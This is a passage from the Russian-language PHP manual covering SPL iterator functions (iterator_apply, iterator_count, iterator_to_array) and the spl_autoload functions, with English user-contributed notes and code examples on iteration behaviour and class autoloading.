<?php

class iDontUseTraits {
}

class_uses('iDontUseTraits'); // Returns empty array

?>
stealz at op dot pl 01-Dec-2012 10:20
To get ALL traits including those used by parent classes and other traits, use this function:

<?php
function class_uses_deep($class, $autoload = true) {
    $traits = [];
    do {
        $traits = array_merge(class_uses($class, $autoload), $traits);
    } while($class = get_parent_class($class));
    foreach ($traits as $trait => $same) {
        $traits = array_merge(class_uses($trait, $autoload), $traits);
    }
    return array_unique($traits);
}
?>


Вызывает функцию для каждого элемента в итераторе

  • « class_uses
  • iterator_count »
  • PHP Manual
  • Функции SPL
  • Вызывает функцию для каждого элемента в итераторе

iterator_apply

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

iterator_apply — Вызывает функцию для каждого элемента в итераторе

Описание

iterator_apply(Traversable $iterator, callable $callback, ?array $args = null): int

Вызывает функцию для каждого элемента в итераторе.

Список параметров

iterator

Объект итератора для перебора.

callback

Функция обратного вызова, которая применяется к каждому элементу. Эта функция принимает только переданный args, поэтому он null по умолчанию. Например, если count($args) === 3, функция обратного вызова - тернарная.

Замечание: Функция должна возвращать true для того, чтобы продолжать процесс итерации над iterator.

args

Аргументы для передачи в функцию обратного вызова. Массив (array) аргументов; каждый элемент args передаётся в функцию обратной функции (callback) в виде отдельного аргумента.

Возвращаемые значения

Возвращает количество итераций.

Примеры

Пример #1 Пример использования iterator_apply()

<?php
function print_caps(Iterator $iterator) {
echo strtoupper($iterator->current()) . "\n";
return TRUE;
}

$it = new ArrayIterator(array("Apples", "Bananas", "Cherries"));
iterator_apply($it, "print_caps", array($it));
?>

Результат выполнения данного примера:

APPLES
BANANAS
CHERRIES

Смотрите также

  • array_walk() - Применяет заданную пользователем функцию к каждому элементу массива

User Contributed Notes

tezcatl at fedoraproject dot org 19-Aug-2018 08:43
Each of the arguments required by the function, must be in the array supplied in the third argument to iterator_apply. You can use references too. Example:

<?php

function translate_to(string $target_language, Iterator $words, array $dictionaries) {

    $language = ucfirst($target_language);
    $dictionary = $dictionaries[$target_language] ?? 'not found';

    if ($dictionary === 'not found') {
        echo "Not found dictionary for {$language}\n";
        return;
    }

    echo "English words translated to {$language}\n";

    $not_found = [];

    iterator_apply($words, function($words, $dictionary, &$not_found){

        $english_word = $words->current();

        $translated_word = $dictionary[$english_word] ?? '';

        if ($translated_word !== '') {
            echo "{$english_word} translates to {$translated_word}\n";
        } else {
            $not_found[] = $english_word;
        }

        return true;

    }, array($words, $dictionary, &$not_found));

    echo "\nNot found words:\n" . implode("\n", $not_found) . "\n";
}

$dictionaries = [
    'nahuatl' => [
        'one' => 'Ze',
        'two' => 'Ome',
        'three' => 'Yei',
        'four' => 'Nahui',
    ],
];

$iterator = new \ArrayIterator(array('one', 'two', 'three', 'four', 'gasoil'));

translate_to('nahuatl', $iterator, $dictionaries);
?>

English words translated to Nahuatl
one translates to Ze
two translates to Ome
three translates to Yei
four translates to Nahui

Not found words:
gasoil
tezcatl at fedoraproject dot org 19-Aug-2018 07:35
Be aware of the proper methods to iterate the specific Iterator you are consuming, as the implementation of the method could vary its behaviour.

For example, unlike the ArrayIterator, you can't iterate on a SplDoubleLinkedList with current() without using next() on every iteration (and then, only would iterate if you return true at the end of the callable. It is far easier then with LinkedLists use a while($it->valid()) { $it->current(); $it->next(); }

Let's see:

<?php

$ll = new \SplDoublyLinkedList();

$ll->push('ze');
$ll->push('ome');
$ll->push('yei');
$ll->push('nahui');

$ll->rewind();

$iterations_done = iterator_apply($ll, function(Iterator $it) {

    echo implode("\t=>", [
        $it->key(),
        $it->current(),
        ucfirst($it->current())
    ]),"\n";

    return true;

}, array($ll));

echo "Did iterate {$iterations_done} times \n";

$ll->rewind();

$iterations_done = iterator_apply($ll, function(Iterator $it) {

    echo implode("\t=>", [
        $it->key(),
        $it->current(),
        ucfirst($it->current())
    ]),"\n";

    $it->next();

    return true;

}, array($ll));

echo "Did iterate {$iterations_done} times \n";

$ll->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

var_dump($ll->count());

foreach($ll as $key => $val) {
    echo "{$key}\t",ucfirst($val),"\n";
}

var_dump($ll->count());
?>

Output:

0    =>ze    =>Ze
0    =>ze    =>Ze
0    =>ze    =>Ze
0    =>ze    =>Ze
Did iterate 4 times
0    =>ze    =>Ze
1    =>ome    =>Ome
2    =>yei    =>Yei
3    =>nahui    =>Nahui
Did iterate 4 times
int(4)
0    Ze
0    Ome
0    Yei
0    Nahui
int(0)
ycgambo at outlook dot com 22-Nov-2017 06:47
$args is an array and each of its elements are passed to the callback as separate arguments.

so this is the right way to get args:

<?php
$ai = new ArrayIterator(range(0, 2));

iterator_apply($ai, function() {
    var_dump(func_get_args());     // use this func
    return true;
}, array(1, 2));
?>

output:

array(2) {
  [0] =>
  int(1)
  [1] =>
  int(2)
}
array(2) {
  [0] =>
  int(1)
  [1] =>
  int(2)
}
array(2) {
  [0] =>
  int(1)
  [1] =>
  int(2)
}

--------------------------------------------------
or list each args:

<?php
$ai = new ArrayIterator(range(0, 2));

iterator_apply($ai, function($arg1, $arg2, $arg3) {
    var_dump([$arg1, $arg2, $arg3]);
    return true;
}, array(1, 2));
?>

same output.


Подсчитывает количество элементов в итераторе

  • « iterator_apply
  • iterator_to_array »
  • PHP Manual
  • Функции SPL
  • Подсчитывает количество элементов в итераторе

iterator_count

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

iterator_count — Подсчитывает количество элементов в итераторе

Описание

iterator_count(Traversable|array $iterator): int

Подсчитывает количество элементов в итераторе. iterator_count() не гарантирует сохранение текущей позиции iterator.

Список параметров

iterator

Итератор, в котором производится подсчёт.

Возвращаемые значения

Количество элементов в итераторе (iterator).

Список изменений

Версия | Описание
8.2.0 | Тип параметра iterator был расширен с Traversable до Traversable|array.

Примеры

Пример #1 Пример использования iterator_count()

<?php
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_count($iterator));
?>

Результат выполнения данного примера:

int(4)

Пример #2 iterator_count() модифицирует позицию

<?php
$iterator = new ArrayIterator(['one', 'two', 'three']);
var_dump($iterator->current());
var_dump(iterator_count($iterator));
var_dump($iterator->current());
?>

Результат выполнения данного примера:

string(3) "one"
int(3)
NULL

Пример #3 iterator_count() в цикле foreach

<?php
$iterator = new ArrayIterator(['one', 'two', 'three']);
foreach ($iterator as $key => $value) {
echo "$key: $value (", iterator_count($iterator), ")\n";
}?>

Результат выполнения данного примера:

0: one (3)

User Contributed Notes

oleksii dot bulba at gmail dot com 01-Sep-2021 07:20
Be aware that counting over NoRewindIterator will make items unavailable:

<?php

$iterator = new ArrayIterator(['recipe'=>'pancakes', 'egg', 'milk', 'flour']);
$iterator = new NoRewindIterator($iterator);

var_dump($iterator->current());
var_dump(iterator_count($iterator));
var_dump($iterator->current());
$iterator->rewind(); // Does not work because it's NoRewindIterator
var_dump($iterator->current());
var_dump(iterator_count($iterator));

?>

Output:

<?php

/*
string(8) "pancakes"
int(4)
NULL
NULL
*/
int(0)

?>
info at ensostudio dot ru 16-Oct-2020 12:31
Safe using:
<?php
$cnt = iterator_count(clone $iterator);
?>


Копирует итератор в массив

  • « iterator_count
  • spl_autoload_call »
  • PHP Manual
  • Функции SPL
  • Копирует итератор в массив

iterator_to_array

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

iterator_to_array — Копирует итератор в массив

Описание

iterator_to_array(Traversable|array $iterator, bool $preserve_keys = true): array

Копирует элементы итератора в массив.

Список параметров

iterator

Копируемый итератор.

preserve_keys

Следует ли использовать ключи элементов итератора как индексы.

Если ключ является массивом (array) или объектом (object), то бросается предупреждение. Ключи со значением null преобразуются в пустую строку, ключи в виде чисел с плавающей точкой (float) обрезаются до их целочисленных (int) частей, ключи с ресурсами (resource) бросают предупреждение и преобразуются в их идентификаторы ресурса, а логические (bool) ключи преобразуются в целые числа.

Замечание:

Если параметр не задан, либо задан как true, дублирующиеся ключи будут перезаписаны. Последнее значение с заданным ключом будет в результирующем массиве. Установите этот параметр равным false для получения всех значений.

Возвращаемые значения

Массив, содержащий элементы iterator.

Список изменений

Версия | Описание
8.2.0 | Тип параметра iterator был расширен с Traversable до Traversable|array.

Примеры

Пример #1 Пример использования iterator_to_array()

<?php
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_to_array($iterator, true));
var_dump(iterator_to_array($iterator, false));
?>

Результат выполнения данного примера:

array(4) {
  ["recipe"]=>
  string(8) "pancakes"
  [0]=>
  string(3) "egg"
  [1]=>
  string(4) "milk"
  [2]=>
  string(5) "flour"
}
array(4) {
  [0]=>
  string(8) "pancakes"
  [1]=>
  string(3) "egg"
  [2]=>
  string(4) "milk"
  [3]=>
  string(5) "flour"
}

User Contributed Notes

wizzard351 at yahoo dot com 21-Mar-2022 03:55
One important thing to remember is that in iterator can be infinite. Not all iterators necessarily end. If iterator_to_array is used on such an iterator, it will exhaust the available memory, and throw a fatal error.

For example, consider the following code:

<?php

function fibonacci(): Generator
{
    yield $a = 1;
    yield $b = 2;

    start:
    yield $c = $a + $b;
    $a = $b;
    $b = $c;
    goto start;
}

$fibonacciSequence = fibonacci();
iterator_to_array($fibonacciSequence);

?>

Since <?php fibonacci(); ?> generates an infinite fibonacci sequence, which is valid, since it is actually an infinite sequence, then attempting to convert it to an array will fail.
enelar at develop-project dot ru 22-Jan-2017 04:26
Generator approach

function scandir_deep($dir)
{
  foreach (scandir($dir) as $key => $value)
    if (in_array($value, [".",".."]))
      continue;
    else if (is_dir($dir . DIRECTORY_SEPARATOR . $value))
      yield $value => scandir_deep($dir . DIRECTORY_SEPARATOR . $value);
    else
      yield $value;
}
Harry Willis 07-Jun-2015 09:21
When using iterator_to_array() on an SplObjectStorage object, it's advisable to set $use_keys to false.

The resulting array is identical, since the iterator keys produced by SplObjectStorage::key() are always integers from 0 to (COUNT-1). Passing $use_keys=false cuts out the unnecessary calls to SplObjectStorage::key(), giving a slight performance advantage.
joksnet at gmail dot com 26-Oct-2014 08:36
To generate an deep array from nested iterators:

<?php
function iterator_to_array_deep(\Traversable $iterator, $use_keys = true) {
    $array = array();
    foreach ($iterator as $key => $value) {
        if ($value instanceof \Iterator) {
            $value = iterator_to_array_deep($value, $use_keys);
        }
        if ($use_keys) {
            $array[$key] = $value;
        } else {
            $array[] = $value;
        }
    }
    return $array;
}
?>

I use it to test an iterator: https://gist.github.com/jm42/cb328106f393eeb28751
jerome at yazo dot net 09-Dec-2008 10:42
Using the boolean param :

<?php

$first = new ArrayIterator( array('k1' => 'a' , 'k2' => 'b',  'k3' => 'c',  'k4' => 'd') );
$second = new ArrayIterator( array( 'k1' => 'X', 'k2' => 'Y', 'Z' ) );

$combinedIterator= new AppendIterator();
$combinedIterator->append( $first );
$combinedIterator->append( $second );

var_dump( iterator_to_array($combinedIterator, false) );

?>

will output :

array(7) (
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "X"
  [5]=>
  string(1) "Y"
  [6]=>
  string(1) "Z"
)

<?php

var_dump( iterator_to_array($combinedIterator, true) );

?>

will output (since keys would merge) :

array(5) (
  ["k1"]=>
  string(1) "X"
  ["k2"]=>
  string(1) "Y"
  ["k3"]=>
  string(1) "c"
  ["k4"]=>
  string(1) "d"
  [0]=>
  string(1) "Z"
)
chad 0x40 herballure 0x2e com 27-Mar-2008 06:23
The use_keys parameter was added in one of the 5.2.x releases; it defaults to TRUE. This matches the behavior in PHP 5.1.6, which lacks this parameter.


Попытка загрузить класс всеми зарегистрированными функциями __autoload()

  • « iterator_to_array
  • spl_autoload_extensions »
  • PHP Manual
  • Функции SPL
  • Попытка загрузить класс всеми зарегистрированными функциями __autoload()

spl_autoload_call

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload_call — Попытка загрузить класс всеми зарегистрированными функциями __autoload()

Описание

spl_autoload_call(string $class): void

Эту функцию можно использовать для ручного поиска класса или интерфейса, используя все зарегистрированные методы __autoload.

Список параметров

class

Имя искомого класса.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

Melnofil 15-Apr-2021 10:23
A complete example with namespaces:

fruits/pinapple.php

<?php
namespace Fruits;
echo "pinapple\n";
class Pinapple { }
?>

fruits/pinapple.php

<?php
namespace Vegetables;
use Fruits\Pinapple;
echo "carrot\n";
class Carrot { }
new Pinapple(); // Let's call autoload here
?>

index.php

<?php
spl_autoload_register(function($class_name) {
    @include_once(__DIR__ . '/' . strtolower(str_replace('\\', '/', $class_name)) . '.php');
});
new Vegetables\Carrot();
?>

Result:

carrot
pinapple

index2.php

<?php
spl_autoload_register(function($class_name) {
    @include_once(__DIR__ . '/' . strtolower(str_replace('\\', '/', $class_name)) . '.php');
});
spl_autoload_call('Fruits\\Pinapple'); // Reverse the load order
spl_autoload_call('Fruits\\Pinapple'); // Multiple call is safe with include_once
new Vegetables\Carrot();
?>

Result:

pinapple
carrot
k dot varmark at gmail dot com 02-Feb-2011 03:40
It should be noted, that calling spl_autoload_call on a child class, and then on its parent class, throws a fatal error.

This happens because autoloading the child class also loads the class it extends. And since spl_autoload_call forcibly calls the registered autoload function(s), not taking into account whether the class exists, a fatal error is thrown:

File: child.class.php

<?php
class Child extends Parent () {
    public function __construct () {
        parent::__construct();
    }
}
?>

File: parent.class.php

<?php
class Parent () {
    public function __construct () {

    }
}
?>

File: autoload.php

<?php

/*    works fine    */
    spl_autoload_call('Child');

/*    throws: Fatal error: Cannot redeclare class Parent in /parent.class.php on line 2    */
    spl_autoload_call('Parent');

?>


Регистрация и вывод расширений файлов для spl_autoload

  • « spl_autoload_call
  • spl_autoload_functions »
  • PHP Manual
  • Функции SPL
  • Регистрация и вывод расширений файлов для spl_autoload

spl_autoload_extensions

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload_extensions — Регистрация и вывод расширений файлов для spl_autoload

Описание

spl_autoload_extensions(?string $file_extensions = null): string

Эта функция может задавать расширения файлов, в которых callback-функция __autoload() будет искать классы и интерфейсы. spl_autoload() будет вызывать функцию __autoload и передавать ему эти расширения. Также эта функция может выводить уже зарегистрированные расширения файлов.

Замечание: Между заданными расширениями файлов не должно быть пробелов.

Список параметров

file_extensions

Если null, функция просто выведет список зарегистрированных на данный момент расширений, перечисленных через запятую. Чтобы изменить этот список, необходимо вызывать функцию, передав ей строку с расширениями, также перечисленными через запятую.

Возвращаемые значения

Список перечисленных через запятую расширений файлов для функции spl_autoload().

Список изменений

Версия | Описание
8.0.0 | file_extensions теперь допускает значение null.

Примеры

Пример #1 Пример использования spl_autoload_extensions()

<?php
spl_autoload_extensions(".php,.inc");
?>

User Contributed Notes

dantedantas at gmail dot com 05-Jul-2017 09:46
The order of the extensions influence the velocity of the reply. For example:

spl_autoload_extensions(".php, .inc");

is more fast than:

spl_autoload_extensions(".inc, .php");

Check out this example:

Some class files:

ClassA.php
<?php class ClassA { var $val = 'Hello from class "ClassA"'; } ?>
ClassB.php
<?php class ClassB { var $val = 'Hello from class "ClassB"'; } ?>
ClassC.php
<?php class ClassC { var $val = 'Hello from class "ClassC"'; } ?>
ClassD.php
<?php class ClassD { var $val = 'Hello from class "ClassD"'; } ?>
ClassE.php
<?php class ClassE { var $val = 'Hello from class "ClassE"'; } ?>

1. Simple:
<?php
// default priority: .inc .php
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 4.2 miliseconds
?>

2. Change priority:
<?php
spl_autoload_extensions('.php,.inc');
// new priority: .php .inc
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 1.4 miliseconds
?>
pim dot stoit at gmail dot com 09-May-2016 06:00
Extensions doesn't have to start with a dot, spl_autload() will simply append whatever you supply to the basename. The following example will try to load "test.php" first, and "test/index.php" as well:

spl_autoload_register('.php,/index.php');
spl_autoload('Test');


Получение списка всех зарегистрированных функций __autoload()

  • « spl_autoload_extensions
  • spl_autoload_register »
  • PHP Manual
  • Функции SPL
  • Получение списка всех зарегистрированных функций __autoload()

spl_autoload_functions

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload_functions — Получение списка всех зарегистрированных функций __autoload()

Описание

spl_autoload_functions(): array

Получает список всех зарегистрированных функций __autoload().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) всех зарегистрированных в __autoload функций. Если функция не зарегистрирована или очередь автозагрузки не активирована, то возвращаемым значением будет пустой массив.

Список изменений

Версия | Описание
8.0.0 | Возвращаемое значение было обновлено и теперь всегда является массивом (array); ранее функция возвращала false, если очередь автозагрузки не была активирована.

User Contributed Notes

124307954 at qq dot com 01-Mar-2019 06:01
<?php
spl_autoload_register(function ($name) {
    echo "Want to load $name.\n";

});

spl_autoload_register(function($className) {
    var_dump($className);
});

function unregister($className) {
    var_dump($className.' i will be the first');
}

spl_autoload_register('unregister');

var_dump(spl_autoload_functions());

===================

array(3) {
  [0]=>
  object(Closure)#1 (1) {
    ["parameter"]=>
    array(1) {
      ["$name"]=>
      string(10) "<required>"
    }
  }
  [1]=>
  object(Closure)#2 (1) {
    ["parameter"]=>
    array(1) {
      ["$className"]=>
      string(10) "<required>"
    }
  }
  [2]=>
  string(10) "unregister"
}
dantedantas at gmail dot com 05-Jul-2017 11:14
If you use an anonymous function, it will return the object that are expected.

spl_autoload_register(function ($myclass){
    $keyclass = substr($myclass, 0, 1);

    switch ($keyclass) {
        case 'c':
            if (file_exists("class".DIRECTORY_SEPARATOR.$myclass.".php") === true)
                require_once ("class".DIRECTORY_SEPARATOR.$myclass.".php");
            break;
        case 'i':
            if (file_exists("interface".DIRECTORY_SEPARATOR.$myclass.".php") === true)
                require_once ("interface".DIRECTORY_SEPARATOR.$myclass.".php");
            break;
        case 'a':
            if (file_exists("abstract".DIRECTORY_SEPARATOR.$myclass.".php") === true)
                require_once ("abstract".DIRECTORY_SEPARATOR.$myclass.".php");
            break;
        default:
            if (file_exists($myclass.".php") === true)
                require_once ($myclass.".php");
    }

/******************************/

var_dump(spl_autoload_functions()) return:

array(1) {
  [0]=>
  object(Closure)#1 (1) {
    ["parameter"]=>
    array(1) {
      ["$myclass"]=>
      string(10) "<required>"
    }
  }
}


Регистрирует заданную функцию в качестве реализации метода __autoload()

  • « spl_autoload_functions
  • spl_autoload_unregister »
  • PHP Manual
  • Функции SPL
  • Регистрирует заданную функцию в качестве реализации метода __autoload()

spl_autoload_register

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload_register — Регистрирует заданную функцию в качестве реализации метода __autoload()

Описание

spl_autoload_register(?callable $callback = null, bool $throw = true, bool $prepend = false): bool

Регистрирует функцию __autoload в предоставляемой SPL очереди. В результате очередь будет активирована, даже если ранее она была выключена.

Если в вашем скрипте реализована функция __autoload(), её
необходимо явно зарегистрировать в очереди __autoload. Это необходимо,
т.к. spl_autoload_register() полностью заменяет механизм
кеширования __autoload() функциями
spl_autoload() и
spl_autoload_call().

spl_autoload_register() позволяет задать несколько реализаций метода автозагрузки. Она создаёт очередь из функций автозагрузки в порядке их определения в скрипте, тогда как встроенная функция __autoload() может иметь только одну реализацию.

Список параметров

callback

Имя функции, реализующей метод spl_autoload(). Если null, будет зарегистрирована реализация по умолчанию.

callback(string $class): void
throw

Этот параметр определяет, должна ли spl_autoload_register() выбрасывать исключение, если зарегистрировать callback оказалось невозможным.

Внимание

Начиная с PHP 8.0.0 этот параметр игнорируется, а при установке значения false будет выдано уведомление. Функция spl_autoload_register() теперь всегда будет выбрасывать исключение TypeError в случае передачи некорректных аргументов.

prepend

Если передано значение true, spl_autoload_register() поместит указанную функцию в начало очереди вместо добавления в конец.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | callback теперь допускает значение null.

Примеры

Пример #1 spl_autoload_register() как альтернатива функции __autoload()

<?php

// function __autoload($class) {
// include 'classes/' . $class . '.class.php';
// }

function my_autoloader($class) {
include 'classes/' . $class . '.class.php';
}

spl_autoload_register('my_autoloader');

// Можно использовать анонимные функции
spl_autoload_register(function ($class) {
include 'classes/' . $class . '.class.php';
});

?>

Пример #2 Пример использования spl_autoload_register() в случае, если класс не загрузился

<?php

namespace Foobar;

class Foo {
static public function test($class) {
print '[['. $class .']]';
}
}

spl_autoload_register(__NAMESPACE__ .'\Foo::test');

new InexistentClass;

?>

Результатом выполнения данного примера будет что-то подобное:

[[Foobar\InexistentClass]]
Fatal error: Class 'Foobar\InexistentClass' not found in ...

Пример #3 Идентификатор будет предоставлен без ведущего обратного слеша

<?php

spl_autoload_register(static function ($class) {
var_dump($class);
});

class_exists('RelativeName');
class_exists('RelativeName\\WithNamespace');
class_exists('\\AbsoluteName');
class_exists('\\AbsoluteName\\WithNamespace');

?>

Результат выполнения данного примера:

string(12) "RelativeName"
string(26) "RelativeName\WithNamespace"
string(12) "AbsoluteName"
string(26) "AbsoluteName\WithNamespace"

Смотрите также

  • __autoload() - Попытка загрузить неопределённый класс

User Contributed Notes

abhijeet dot sweden at gmail dot com 09-Jul-2022 04:04
Type#1:

<?php

require_once('Second.php');
require_once('First.php');

$Second = new Second;
$Second->run_second();

$First = new First;
$First->run_first();

?>

---------------------------------------------------------
Type#2:

<?php

spl_autoload_register(function($class){
  //
  require_once($class.'.php');
});

$Second = new Second;
$Second->run_second();

$First = new First;
$First->run_first();

?>
Daniel Klein 18-Jun-2022 05:25
If you want to be able to run your PHP script from anywhere without changing to the directory first, use chdir(__DIR__) in the first file you run (not any includes):

<?php
spl_autoload_register();
chdir(__DIR__);

For some reason, trying to use namespaced classes from within other namespaced classes fails otherwise.

e.g. Running "php src/main.php" will fail, but "cd src && php main.php" will work.

src/main.php
<?php
spl_autoload_register();
//chdir(__DIR__); // Uncomment this to make it work from any directory
MyNamespace\MyClass::foo();

src/MyNamespace/MyClass.php
<?php
namespace MyNamespace;

class MyClass {
  public static function foo(): void {
    echo MyOtherClass::BAR; // This will fail even if MyOtherClass.php is in the right place
  }
}

src/MyNamespace/MyOtherClass.php
<?php
namespace MyNamespace;

class MyOtherClass {
  public const BAR = 'baz';
}
kuzawinski dot marcin at nospam dot gmail dot com 29-May-2021 05:36
Since PHP 8.0 spl_autoload_register() will always throw a TypeError on invalid arguments, therefore the second argument `throw` is ignored and a notice will be emitted if it is set to False.
n0mAd at example dot com 24-Dec-2017 07:49
If you need to register the function when using namespaces, use the __NAMESPACE__ constant to define the name.

<?php

namespace Foobar;

spl_autoload_register('MyFunction'); // incorrect
spl_autoload_register('\MyFunction');// incorrect
spl_autoload_register(__NAMESPACE__ . '\MyFunction'); // correct

?>
nemanja 26-Jul-2017 08:25
Even when autoloading (SPL) is used, class inheritance does not seem to work. Simply the PHP engine is unable to find parent (inherited) class. PHP 5.6 and 7.0 behave exactly same on this, which beats the purpose of autoloading.

And IMHO it's easy to fix as the autoloader is able to find all first level classes w/o problems, it just needs to follow same path recursively on parents too.

<?php
//Using default SPL autoloader, with namespaces mapping 1:1 to directory structure, with file names being all lowercase.
//This works with first level classes only, for inheritance it does NOT work, it cannot find parent classes.
spl_autoload_register();

//This is ugly but working code if you want to be able to autoload parent classes too.
spl_autoload_register(function ($class){
    require_once __DIR__ . '/' . strtolower(str_replace('\\', '/', $class) . '.php');
});
rnealxp at yahoo dot com 27-May-2017 06:58
I now utilize spl_autoload_register and there's no turning back. So let me gather here for you what I've learned...
1.) the issue mentioned in these docs about case-sensitivity of filenames (Windows vs Linux/Mac): it only comes into play if you don't provide your own custom function as an argument when calling spl_autoload_register. Your function is to accept a single argument which will be the class name that your code is currently trying to access. I observe that the class name comes in with the same letter-casing as that you are actually using in your code base (mixed-case or not). I am not doing/using namespaces, but as a best practice, and to make your implementation straight-forward and predictable, go with fileName===className (1:1).
2.) I often refactor my code-base's directory structure as my code base morphs. I'm not using namespaces, but even if I were, I would want a decoupling between my namespace hierarchy and my directory structure hierarchy. I like my directory hierarchies to be intuitive for getting to code I want to work with. To save myself from having to manually tell my autoloader the path to each file/class, I cache a couple of arrays in static variables that store just the file/class name in the one array and the folder path to the file in the other. After the cache (static vars) have been set on the first call to my function, it's just a matter of looking up in the filename array. For safety, and to be problem-free, no two php filenames should be identical across all of your directory hierarchy (your namespace)--I favor this practice anyways, and accordingly, I favor unique class names across my single namespace (despite it not yet explicitly defined). I did build in a check in my function to ensure all php file names/classes are unique.
3.) I converted many, many files that once had sets of functions in the global space to *abstract classes* that have private static variables and methods and of course also public static methods. So those sets of functions are now encapsulated in objects, and those objects are now auto-loaded. Simply for this benefit I will never again have a function in the global space other than my auto-loader function and other exceptions such as that.
4.) My auto-loader function uses only built-in php language constructs and operations and has no outside dependencies.
5.) If you utilize the function class_exists() in your codebase somewhere, realize that unless you are passing the second arg as false, you will trigger the autoloader to load that class. I stumbled on this of course. My use-case is that I don't want the class loaded: I only wanted to take some action if the class was being used (in an error-handler method).
6.) If you use the function method_exists(), you will definitely trigger the class to be loaded (which makes sense since you have already decided to drill down to looking for a specific method).
7.) I credit someone else's idea here: I also elected to call an init() method for the class being loaded should it exist. This saves me from having to manually call from the outside, let alone managing how and from where the call should be made. It is so useful to get your object set up and ready to do work in an automated fashion such as this.
8.) as another said, I also use require() and not require_once() as the first is enough to generate an error and if already loaded the function will not have been called.
9.) If for some reason I fail to find a class name in my cached arrays, I knowingly still call require(), passing the class name I had not accounted for in order to generate and reveal the problem (which of course is not anticipated!).
10.) Again, I ensure uniqueness across all class names. If I observe non-uniqueness, I again do a faulty call to require() like this: require('FoundMultiplesOfClassFile.php'); to reveal the problem. (I don't yet, and you likely should not, have any sophisticated error-handler registered so this is as good as anything else to me).
joneschrisan at aol dot com 05-Feb-2016 04:11
Looks like on the latest update of debian php passing no params to spl_autoload doesn't work on linux any more.

It is failing to replace the \'s in the namespace with /'s for file paths.
kakkau at grr dot la 28-Sep-2015 05:11
A note on registering autoloading functions with additional parameters.

./alf.home.php
<?php
/*
 * class containing an autoloading function alias ALF :)
 */
class ALF {
  public function haaahaaahaaa($class = "ALF", $param = "Melmac") {
    echo "I am ".$class." from ".$param.".\n";
  }
}
?>

./kate.melmac.php
<?php
require_once("alf.home.php");
/*
 * the normal way is to get ALF
 * and register an autoloading function
 */
$alf = new ALF();
spl_autoload_register(array($alf,'haaahaaahaaa'));
$alf->haaahaaahaaa(); // ALF is from Melmac :)
/*
 * now lets try to autoload a class
 */
@$kate = new Kate(); // this throws a fatal error because
                     // Kate is NOT from Melmac :)
?>
I am ALF from Melmac.
I am Kate from Melmac.

./kate.earth.php
<?php
require_once("alf.home.php");
/*
 * BUT what if we want to correct Kates origin ?
 *     How can one pass parameters to an autoloading function
 *     upon registering?
 *
 * spl_autoload_register is not suitable for that
 *   but we can try is to define a callable during registration
 */
spl_autoload_register(function($class){
  call_user_func(array(new ALF(),'haaahaaahaaa'), $class, "Earth"); });
/*
 * now lets try again to autoload a class
 * Kate will still not be found but we corrected her origin :)
 */
@$kate = new Kate(); // Kate is from Earth :)
/*
 * NOTE: that you cannot pass $this or another object created
 *       outside of the callable context using the
 *       registering way above. therefor you should swap your autoloading
 *       function to a seperate class as done at the beginning with ALF.
 *
 * NOTE: you may not able to unregister your autoloading function
 *       directly as an instance was created in another context
 */
?>
I am Kate from Earth.
eyeofmidas at gmail dot com 12-Aug-2015 03:57
When switching from using __autoload() to using spl_autoload_register keep in mind that deserialization of the session can trigger class lookups.

This works as expected:
<?php
session_start();
function __autoload($class) {
...
}
?>

This will result in "__PHP_Incomplete_Class_Name" errors when using classes deserialized from the session.
<?php
session_start();
function customAutoloader($class) {
...
}
spl_autoload_register("customAutoloader");
?>

So you need to make sure the spl_autoload_register is done BEFORE session_start() is called.

CORRECT:
<?php
function customAutoloader($class) {
...
}
spl_autoload_register("customAutoloader");
session_start();
?>
iam at thatguy dot co dot za 08-May-2015 07:19
<?php

    // Example to auto-load class files from multiple directories using the SPL_AUTOLOAD_REGISTER method.
    // It auto-loads any file it finds starting with class.<classname>.php (LOWERCASE), eg: class.from.php, class.db.php
    spl_autoload_register(function($class_name) {

        // Define an array of directories in the order of their priority to iterate through.
        $dirs = array(
            'project/', // Project specific classes (+Core Overrides)
            'classes/', // Core classes example
            'tests/',   // Unit test classes, if using PHP-Unit
        );

        // Looping through each directory to load all the class files. It will only require a file once.
        // If it finds the same class in a directory later on, IT WILL IGNORE IT! Because of that require once!
        foreach( $dirs as $dir ) {
            if (file_exists($dir.'class.'.strtolower($class_name).'.php')) {
                require_once($dir.'class.'.strtolower($class_name).'.php');
                return;
            }
        }
    });
xavier dot bouhours at free dot fr 03-Mar-2015 03:55
// Get last class version

    if( !function_exists('classAutoLoader') )
    {
        function classAutoLoader($className)
        {
            $classFiles     = array() ;
            $classFile     = FALSE ;
            $classDir        = __DIR__ .'/'  ;
            // Get all files
            $files         = scandir( $classDir ) ;
            foreach ( $files as $url )
            {
                // Verifie if file is : Name + class + version + extension
                if( is_file($classDir.$url) && preg_match('/([^\.]+)\.class\.([\d\.]+)\.(.+)$/', $url, $m ) )
                {
                    // Verifie finded file
                    if( $className == $m[1] )
                    {
                        // Get previous version or init
                        $previous = isset( $classFiles[$m[1]] ) ? $classFiles[$m[1]] : 0 ;

                        // Get last version
                        if( $previous<$m[2] )
                        {
                            $classFiles[ $m[1] ] = $m[2] ; // version
                            $classFile = $classDir.$url ;
                        }
                    }
                }
            } ;
            if( !class_exists($className) ) include( $classFile );
        }
    }
    spl_autoload_register('classAutoLoader') ;
neolium at gmail dot com 13-Feb-2015 01:00
